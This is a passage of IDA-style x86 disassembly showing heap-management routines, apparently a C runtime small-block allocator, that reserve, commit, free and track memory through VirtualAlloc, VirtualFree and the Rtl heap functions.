jnz short loc_41AC4C
cmp ebx, edx
jz loc_41ACCD
loc_41AC4C: ; CODE XREF: sub_41AAB4+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41ACCD
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41ACA4
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41AC93
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41AC93: ; CODE XREF: sub_41AAB4+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41ACCD
; ---------------------------------------------------------------------------
loc_41ACA4: ; CODE XREF: sub_41AAB4+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41ACBA
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41ACBA: ; CODE XREF: sub_41AAB4+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41ACCD: ; CODE XREF: sub_41AAB4+192j
; sub_41AAB4+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41ADD8
mov eax, dword_48AB14
test eax, eax
jz loc_41ADCA
mov ecx, dword_48AB0C
mov esi, dword_4231B0
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, dword_48AB0C
mov eax, dword_48AB14
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_48AB14
mov ecx, dword_48AB0C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_48AB14
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_48AB14
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41AD5B
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_48AB14
loc_41AD5B: ; CODE XREF: sub_41AAB4+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41ADCA
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, dword_48AB14
push dword ptr [eax+10h]
push 0
push dword_48AB24
call dword_4230E4 ; RtlFreeHeap
mov eax, dword_48AB18
mov edx, dword_48AB1C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_48AB14
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_417FC0
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_48AB18
cmp eax, dword_48AB14
jbe short loc_41ADC0
sub [ebp+arg_0], 14h
loc_41ADC0: ; CODE XREF: sub_41AAB4+306j
mov eax, dword_48AB1C
mov dword_48AB10, eax
loc_41ADCA: ; CODE XREF: sub_41AAB4+234j
; sub_41AAB4+2ABj
mov eax, [ebp+arg_0]
mov dword_48AB0C, edi
mov dword_48AB14, eax
loc_41ADD8: ; CODE XREF: sub_41AAB4+38j
; sub_41AAB4+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41AAB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ADDD proc near ; CODE XREF: sub_4178C7+18p
; sub_41914F+77p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_48AB18
mov edx, dword_48AB1C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41AE1D
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41AE2D
; ---------------------------------------------------------------------------
loc_41AE1D: ; CODE XREF: sub_41ADDD+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41AE2D: ; CODE XREF: sub_41ADDD+3Ej
mov eax, dword_48AB10
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41AE54
loc_41AE3B: ; CODE XREF: sub_41ADDD+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41AE54
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41AE3B
loc_41AE54: ; CODE XREF: sub_41ADDD+5Cj
; sub_41ADDD+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41AED2
mov ebx, edx
loc_41AE5B: ; CODE XREF: sub_41ADDD+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41AE77
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41AE75
add ebx, 14h
jmp short loc_41AE5B
; ---------------------------------------------------------------------------
loc_41AE75: ; CODE XREF: sub_41ADDD+91j
cmp ebx, eax
loc_41AE77: ; CODE XREF: sub_41ADDD+83j
jnz short loc_41AED2
loc_41AE79: ; CODE XREF: sub_41ADDD+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41AE8F
cmp dword ptr [ebx+8], 0
jnz short loc_41AE8C
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41AE79
; ---------------------------------------------------------------------------
loc_41AE8C: ; CODE XREF: sub_41ADDD+A5j
cmp ebx, [ebp+var_4]
loc_41AE8F: ; CODE XREF: sub_41ADDD+9Fj
jnz short loc_41AEB7
mov ebx, edx
loc_41AE93: ; CODE XREF: sub_41ADDD+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41AEA7
cmp dword ptr [ebx+8], 0
jnz short loc_41AEA5
add ebx, 14h
jmp short loc_41AE93
; ---------------------------------------------------------------------------
loc_41AEA5: ; CODE XREF: sub_41ADDD+C1j
cmp ebx, eax
loc_41AEA7: ; CODE XREF: sub_41ADDD+BBj
jnz short loc_41AEB7
call sub_41B0E6
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41AECB
loc_41AEB7: ; CODE XREF: sub_41ADDD:loc_41AE8Fj
; sub_41ADDD:loc_41AEA7j
push ebx
call sub_41B197
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41AED2
loc_41AECB: ; CODE XREF: sub_41ADDD+D8j
xor eax, eax
jmp loc_41B0E1
; ---------------------------------------------------------------------------
loc_41AED2: ; CODE XREF: sub_41ADDD+7Aj
; sub_41ADDD:loc_41AE77j ...
mov dword_48AB10, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41AEF9
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41AF30
loc_41AEF9: ; CODE XREF: sub_41ADDD+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41AF2D
loc_41AF16: ; CODE XREF: sub_41ADDD+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41AF16
loc_41AF2D: ; CODE XREF: sub_41ADDD+137j
mov edx, [ebp+var_4]
loc_41AF30: ; CODE XREF: sub_41ADDD+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41AF59
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41AF59: ; CODE XREF: sub_41ADDD+16Dj
; sub_41ADDD+183j
test ecx, ecx
jl short loc_41AF62
shl ecx, 1
inc edi
jmp short loc_41AF59
; ---------------------------------------------------------------------------
loc_41AF62: ; CODE XREF: sub_41ADDD+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41AF7F
push 3Fh
pop esi
loc_41AF7F: ; CODE XREF: sub_41ADDD+19Dj
cmp esi, edi
jz loc_41B094
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41AFF0
cmp edi, 20h
jge short loc_41AFBF
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41AFED
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41AFF0
; ---------------------------------------------------------------------------
loc_41AFBF: ; CODE XREF: sub_41ADDD+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41AFED
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41AFF0
; ---------------------------------------------------------------------------
loc_41AFED: ; CODE XREF: sub_41ADDD+1D6j
; sub_41ADDD+203j
mov ebx, [ebp+arg_0]
loc_41AFF0: ; CODE XREF: sub_41ADDD+1B0j
; sub_41ADDD+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41B0A0
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41B091
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41B062
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41B050
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41B050: ; CODE XREF: sub_41ADDD+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41B091
; ---------------------------------------------------------------------------
loc_41B062: ; CODE XREF: sub_41ADDD+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41B07B
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41B07B: ; CODE XREF: sub_41ADDD+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41B091: ; CODE XREF: sub_41ADDD+24Ej
; sub_41ADDD+283j
mov ecx, [ebp+var_8]
loc_41B094: ; CODE XREF: sub_41ADDD+1A4j
test ecx, ecx
jz short loc_41B0A3
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41B0A3
; ---------------------------------------------------------------------------
loc_41B0A0: ; CODE XREF: sub_41ADDD+229j
mov ecx, [ebp+var_8]
loc_41B0A3: ; CODE XREF: sub_41ADDD+2B9j
; sub_41ADDD+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41B0D9
cmp ebx, dword_48AB14
jnz short loc_41B0D9
mov ecx, [ebp+var_4]
cmp ecx, dword_48AB0C
jnz short loc_41B0D9
and dword_48AB14, 0
loc_41B0D9: ; CODE XREF: sub_41ADDD+2E0j
; sub_41ADDD+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41B0E1: ; CODE XREF: sub_41ADDD+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41ADDD endp
; =============== S U B R O U T I N E =======================================
sub_41B0E6 proc near ; CODE XREF: sub_41ADDD+CCp
mov eax, dword_48AB18
mov ecx, dword_48AB08
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41B129
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_48AB1C
push edi
push dword_48AB24
call dword_423194 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_41B179
add dword_48AB08, 10h
mov dword_48AB1C, eax
mov eax, dword_48AB18
loc_41B129: ; CODE XREF: sub_41B0E6+11j
mov ecx, dword_48AB1C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_48AB24
lea esi, [ecx+eax*4]
call dword_4230E8 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_41B179
push 4
push 2000h
push 100000h
push edi
call dword_4231B4 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41B17D
push dword ptr [esi+10h]
push edi
push dword_48AB24
call dword_4230E4 ; RtlFreeHeap
loc_41B179: ; CODE XREF: sub_41B0E6+30j
; sub_41B0E6+67j
xor eax, eax
jmp short loc_41B194
; ---------------------------------------------------------------------------
loc_41B17D: ; CODE XREF: sub_41B0E6+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_48AB18
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41B194: ; CODE XREF: sub_41B0E6+95j
pop edi
pop esi
retn
sub_41B0E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B197 proc near ; CODE XREF: sub_41ADDD+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41B1A9: ; CODE XREF: sub_41B197+19j
test eax, eax
jl short loc_41B1B2
shl eax, 1
inc ebx
jmp short loc_41B1A9
; ---------------------------------------------------------------------------
loc_41B1B2: ; CODE XREF: sub_41B197+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41B1C7: ; CODE XREF: sub_41B197+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41B1C7
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call dword_4231B4 ; VirtualAlloc
test eax, eax
jnz short loc_41B1FA
or eax, 0FFFFFFFFh
jmp loc_41B28D
; ---------------------------------------------------------------------------
loc_41B1FA: ; CODE XREF: sub_41B197+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41B240
lea eax, [edi+10h]
loc_41B207: ; CODE XREF: sub_41B197+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41B207
loc_41B240: ; CODE XREF: sub_41B197+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41B27D
or [eax+4], edi
loc_41B27D: ; CODE XREF: sub_41B197+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41B28D: ; CODE XREF: sub_41B197+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41B197 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B292 proc near ; CODE XREF: sub_41914F+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41B440
test bl, 1
jnz loc_41B439
add ebx, ecx
cmp esi, ebx
jg loc_41B439
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41B309
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41B309: ; CODE XREF: sub_41B292+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41B359
cmp ecx, 20h
jnb short loc_41B335
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41B359
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41B359
; ---------------------------------------------------------------------------
loc_41B335: ; CODE XREF: sub_41B292+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41B359
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41B359: ; CODE XREF: sub_41B292+7Dj
; sub_41B292+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41B427
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41B393
push 3Fh
pop edi
loc_41B393: ; CODE XREF: sub_41B292+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41B415
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41B3EC
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41B3DF
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41B3DF: ; CODE XREF: sub_41B292+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41B411
; ---------------------------------------------------------------------------
loc_41B3EC: ; CODE XREF: sub_41B292+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41B402
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41B402: ; CODE XREF: sub_41B292+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41B411: ; CODE XREF: sub_41B292+158j
shr edx, cl
or [eax], edx
loc_41B415: ; CODE XREF: sub_41B292+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41B42A
; ---------------------------------------------------------------------------
loc_41B427: ; CODE XREF: sub_41B292+E5j
mov edx, [ebp+arg_4]
loc_41B42A: ; CODE XREF: sub_41B292+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41B580
; ---------------------------------------------------------------------------
loc_41B439: ; CODE XREF: sub_41B292+52j
; sub_41B292+5Cj
xor eax, eax
jmp loc_41B583
; ---------------------------------------------------------------------------
loc_41B440: ; CODE XREF: sub_41B292+49j
jge loc_41B580
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41B46B
push 3Fh
pop esi
loc_41B46B: ; CODE XREF: sub_41B292+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41B4FA
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41B484
push 3Fh
pop esi
loc_41B484: ; CODE XREF: sub_41B292+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41B4D3
cmp esi, 20h
jnb short loc_41B4AF
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41B4D0
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41B4D0
; ---------------------------------------------------------------------------
loc_41B4AF: ; CODE XREF: sub_41B292+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41B4D0
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41B4D0: ; CODE XREF: sub_41B292+214j
; sub_41B292+21Bj ...
mov ebx, [ebp+arg_4]
loc_41B4D3: ; CODE XREF: sub_41B292+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41B4FA
push 3Fh
pop esi
loc_41B4FA: ; CODE XREF: sub_41B292+1DDj
; sub_41B292+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41B577
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41B54E
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41B541
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41B541: ; CODE XREF: sub_41B292+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41B573
; ---------------------------------------------------------------------------
loc_41B54E: ; CODE XREF: sub_41B292+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41B564
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41B564: ; CODE XREF: sub_41B292+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41B573: ; CODE XREF: sub_41B292+2BAj
shr edx, cl
or [eax], edx
loc_41B577: ; CODE XREF: sub_41B292+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41B580: ; CODE XREF: sub_41B292+1A2j
; sub_41B292:loc_41B440j
push 1
pop eax
loc_41B583: ; CODE XREF: sub_41B292+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41B292 endp
; =============== S U B R O U T I N E =======================================
sub_41B588 proc near ; CODE XREF: sub_41A9E4+41p
; sub_41B880:loc_41BA4Fp
cmp dword_438CB0, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41B59C
mov esi, offset off_438CA0
jmp short loc_41B5B9
; ---------------------------------------------------------------------------
loc_41B59C: ; CODE XREF: sub_41B588+Bj
push 2020h
push 0
push dword_48AB24
call dword_4230E8 ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_41B6C5
loc_41B5B9: ; CODE XREF: sub_41B588+12j
mov ebp, dword_4231B4
push 4
push 2000h
push 400000h
push 0
call ebp ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_41B6AE
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; VirtualAlloc
test eax, eax
jz loc_41B6A0
mov eax, offset off_438CA0
cmp esi, eax
jnz short loc_41B618
cmp off_438CA0, 0
jnz short loc_41B608
mov off_438CA0, eax
loc_41B608: ; CODE XREF: sub_41B588+79j
cmp off_438CA4, 0
jnz short loc_41B62D
mov off_438CA4, eax
jmp short loc_41B62D
; ---------------------------------------------------------------------------
loc_41B618: ; CODE XREF: sub_41B588+70j
mov [esi], eax
mov eax, off_438CA4
mov [esi+4], eax
mov off_438CA4, esi
mov eax, [esi+4]
mov [eax], esi
loc_41B62D: ; CODE XREF: sub_41B588+87j
; sub_41B588+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41B64F: ; CODE XREF: sub_41B588+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41B64F
push ebx
push 0
push edi
call sub_417030
add esp, 0Ch
loc_41B678: ; CODE XREF: sub_41B588+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41B69C
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41B678
; ---------------------------------------------------------------------------
loc_41B69C: ; CODE XREF: sub_41B588+F7j
mov eax, esi
jmp short loc_41B6C7
; ---------------------------------------------------------------------------
loc_41B6A0: ; CODE XREF: sub_41B588+63j
push 8000h
push 0
push edi
call dword_4231B0 ; VirtualFree
loc_41B6AE: ; CODE XREF: sub_41B588+4Bj
cmp esi, offset off_438CA0
jz short loc_41B6C5
push esi
push 0
push dword_48AB24
call dword_4230E4 ; RtlFreeHeap
loc_41B6C5: ; CODE XREF: sub_41B588+2Bj
; sub_41B588+12Cj
xor eax, eax
loc_41B6C7: ; CODE XREF: sub_41B588+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41B588 endp
; =============== S U B R O U T I N E =======================================
sub_41B6CC proc near ; CODE XREF: sub_41B722+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call dword_4231B0 ; VirtualFree
cmp off_43ACC0, esi
jnz short loc_41B6F1
mov eax, [esi+4]
mov off_43ACC0, eax
loc_41B6F1: ; CODE XREF: sub_41B6CC+1Bj
cmp esi, offset off_438CA0
jz short loc_41B719
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_48AB24
call dword_4230E4 ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B719: ; CODE XREF: sub_41B6CC+2Bj
or dword_438CB0, 0FFFFFFFFh
pop esi
retn
sub_41B6CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
